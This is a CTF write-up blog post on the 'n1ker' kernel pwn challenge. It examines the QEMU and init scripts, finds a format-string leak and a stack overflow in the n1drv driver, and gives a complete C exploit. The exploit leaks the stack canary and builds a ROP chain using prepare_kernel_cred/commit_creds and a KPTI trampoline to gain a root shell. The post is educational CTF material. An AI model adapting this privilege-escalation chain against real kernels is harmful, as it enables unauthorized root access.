[Chapter VI PWN of CTF]n1ker

kernal pwn

First, let's take a look at start sh

#! /bin/sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr useradd homura" \
-gdb tcp::1234 -S \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep

If we see that it is not single core and single thread, we must be careful of conditional competition.

I can see it's on, kaslr, smep.

We say that the protection of the kernel part is divided into four aspects.
Kernel protection starts from four aspects: isolation, access control, exception detection and randomization
Isolation is divided into smep user code not executable, smap user data not accessible and KPTI.
Randomization was also divided into kaslr and fgkaslr.

Then we unzip the file system and take a look at the init file.

mkdir core
cp rootfs.cpio ./core
cd core
mv ./rootfs.cpio rootfs.cpio.gz     
 #Because cpio has been compressed by gzip, the name must be changed before gunzip can recognize it
gunzip ./rootfs.cpio.gz 
#gunzip decompress it for a while before cpio can recognize it, otherwise it will report abnormal numbers
cpio -idmv < ./rootfs.cpio 
#cpio is the decompression instruction - idmv is its four parameters
#-i or -- extract executes the copy in mode to restore the backup file.
#-d or -- make directories cpio will create its own directory if necessary.
#-v or -- verbose displays the execution process of the instruction in detail.
#-m or preserve modification time does not change the change time of the file


Open KPTI

#!/bin/sh
mkdir /tmp
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod n1drv.ko
mknod /dev/homuratql666 c 233 0
chmod 666 /dev/homuratql666
mdev -s
chmod -R 777 /sys
poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

#setsid /bin/cttyhack setuidgid 0 /bin/sh

So obviously, the module is mounted.
Then I also read the symbol table to / tmp/kallsyms, so I don't have to disclose the address or anything
If devpts is mounted, consider hijacking the tty structure

Then IDA.

ioctl function.

deadbeef seems to have a formatted string.


n1drv has a function
copy_user_generic_unrolled

/*
 * Copy To/From Userspace
 */

/* Handles exceptions in both to and from, but doesn't do access_ok */
__must_check unsigned long
copy_user_enhanced_fast_string(void *to, const void *from, unsigned len);
__must_check unsigned long
copy_user_generic_string(void *to, const void *from, unsigned len);
__must_check unsigned long
copy_user_generic_unrolled(void *to, const void *from, unsigned len);

It is also a copy function. There are no parameters displayed in ida. Just look at the assembly.

Reasonable should be three parameters.
The first call rdi is the top of the stack. rsi is the address of the incoming user. rdx should be the size of the copy. Then there is obviously a stack overflow here.
Two call s, one in the stack and the other in the heap, are copied successfully before no error is reported
So malloc will have to be a little bigger later.

So our thinking is still relatively clear
The format string divulges canary, and the base address does not even need to be divulged. It is directly placed in the / tmp/kallsyms folder. Of course, divulging is also OK.
Then directly overflow a stack.

When it's on kpti, we need to go around.

Talk about it step by step

    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);   //The buffer is turned off, otherwise there will be no output.
    int fd = open("/dev/homuratql666",O_RDWR);
    if (fd < 0) {
        printf("wrong with open /dev/homuratql666");
    }

    size_t kernal_base ; 
    size_t canary; 
    size_t rop[0x50];
    
    char format[0x100]="0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx\n\x00";
    add(fd, 0x400);
    write(fd, format, 50);
    put(fd);

    getchar();
    write(1,"input vmlinux addr\n",43);
    scanf("%llx",&kernal_base);
    write(1,"input vmlinux canary\n",45);
    scanf("%llx",&canary);

Of course, you have to get the base address first
The base address can be changed in init

But this question can be directly / tmp/kallsyms

Output canary, etc. scanf input is OK.

Then we construct the rop chain

exp

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>

void get_shell(void){   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    
    system("/bin/sh");
}

void add(int fd,int size)
{
    ioctl(fd,0x73311337,size);
}

void put(int fd)
{
    ioctl(fd,0xDEADBEEF);
}

unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}


int main()
{   
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    int fd = open("/dev/homuratql666",O_RDWR);
    if (fd < 0) {
        printf("wrong with open /dev/homuratql666");
    }

    size_t kernal_base ; 
    size_t canary; 
    size_t rop[100];
    
    char format[0x100]="0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx\n\x00";
    add(fd, 0x400);
    write(fd, format, 50);
    put(fd);

    printf("input vmlinux addr\n");
    scanf("%llx",&kernal_base);
    printf("input canary\n");
    scanf("%llx",&canary);
    kernal_base = kernal_base - 0x1c827f;
    size_t prepare_kernel_cred = kernal_base + 0x81790;
    size_t commit_creds = kernal_base + 0x81410;
    size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret;
    size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret;
    size_t pop_rbx = kernal_base +0x926;//pop rbx; ret; 
    size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx; 
    size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret;
    size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ;
    printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);
    printf("commit_creds:0x%llx  \n",commit_creds);
    save_stats();

    int i = 0;
    for(i = 0; i <= 60; i ++) {
        rop[i] = "aaaaaaaa";
    }
    i = 32;
    rop[i++] = canary;                 // canary
    rop[i++] = canary;                 // rbp
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = push_rax;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = pop_rbx;
    rop[i++] = pop_rdx;
    rop[i++] = call_rbx;
    rop[i++] = commit_creds;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t) get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd,rop,0x1b0);  //copy can't more than rop
}

The time given by remote is too short. No wonder zero solution

Local no problem.

Tags: Cyber Security CTF

Posted by plasmagames on Mon, 18 Apr 2022 08:29:17 +0930